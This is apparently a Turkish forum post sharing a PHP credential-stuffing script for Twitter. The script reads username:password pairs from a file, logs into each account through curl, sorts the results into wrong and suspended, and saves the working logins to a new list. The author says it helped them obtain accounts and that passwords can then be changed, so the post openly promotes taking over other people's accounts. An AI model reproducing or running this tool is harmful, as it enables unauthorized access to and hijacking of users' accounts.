isteğe göre şifre değiştirme olayı ve birsürü akvite yapılabilir.
susbend kontrol eklendi
Gerekli
CURL
SSL
Uyarı :
pass.txt kontrol edilecek userler olmalı. Örnek
user:sifre
mail:sifre
200 Tanede filan uzadığı zaman sunucu işlemi sollandırabilir.
pass.txt şifreleri çeker
yeniliste.txt ekler
işlemleri sayısal olarak ekrana basar yanlış diyede.
Tarayıcı arama yanlış yazarsanız kaç tane yanlış olduğunu görürsünüz.
Not : Eğer çok deniyorsanız arada kesilceği için, yenliste.txt dosyanızda en son kalan user bulup pass.txt yukarısını silebilirsiniz. Geliştirebilir ben dün acount alırken işime yaradı.
Email yazılı ise eğer, onuda usernameye çeviriyor. başında @ varsa onu siliyor.
Beğenmeniz teşekkür niyetine sayılır.
<?php
header('Content-Type: text/html; charset=utf-8');
set_time_limit(0);
ini_set('max_execution_time', 1000);
function twitter_login($username,$password){
# First call gets hidden form field authenticity_token
# and session cookie
$ch = curl_init();
$sTarget = "https://twitter.com/";
curl_setopt($ch, CURLOPT_URL, $sTarget);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);
curl_setopt($ch, CURLOPT_COOKIEFILE, "/tmp/cookie.txt");
curl_setopt($ch, CURLOPT_REFERER, "https://twitter.com/");
$html = curl_exec($ch);
# parse authenticity_token out of html response
preg_match('/<input type="hidden" value="([a-zA-Z0-9]*)" name="authenticity_token"\/>/', $html, $match);
$authenticity_token = $match[1];
# set post data
$sPost = "session[username_or_email]=$username&session[password]=$password&return_to_ssl=true&scribe_log=&redirect_after_login=%2F&authenticity_token=$authenticity_token";
# second call is a post and performs login
$sTarget = "https://twitter.com/sessions";
curl_setopt($ch, CURLOPT_URL, $sTarget);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $sPost);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HTTPHEADER, array("Content-type: application/x-www-form-urlencoded"));
# display server response
return curl_exec($ch);
curl_close($ch);
}
$dosya = "pass.txt";
$pass = fopen("pass.txt", "r");
$sifre = explode("\n",fread($pass, filesize($dosya)));
$toplam=count($sifre);
$dogru=1;
$sus = 1;
$yanlis = 1;
for ($i=0;$i<count($sifre);$i++) {
$parcala = explode(':',$sifre[$i]);
$username = $parcala[0];
$username = ltrim($username,'@');
$password = $parcala[1];
$veri = twitter_login($username,$password);
preg_match('#<span class="screen-name hidden" dir="ltr">@(.*?)</span><small class="metadata">#si',$veri,$al);
if(empty($al[1])){
echo '<font color="red">Yanlış : '.$yanlis.''.'</font><br />';
$yanlis++;
}else{
preg_match('#<div id="account-suspended" class="first-banner-row">(.*?)</div>#si',$veri,$susbend);
if(empty($susbend[1])){
$user=strtolower($al[1]);
$pass=$password;
$dosya=fopen("yeniliste.txt","a");
$veri_yazdir="$user:$pass\n";
fwrite($dosya, $veri_yazdir);
fclose($dosya);
echo "<font color='green'>Çalıştı : ".$dogru."</font><br>";
$dogru++;
}
else
{
echo "<font color='orange'>Susbend : ".$sus."</font><br>";
$sus++;
}
}
}
?>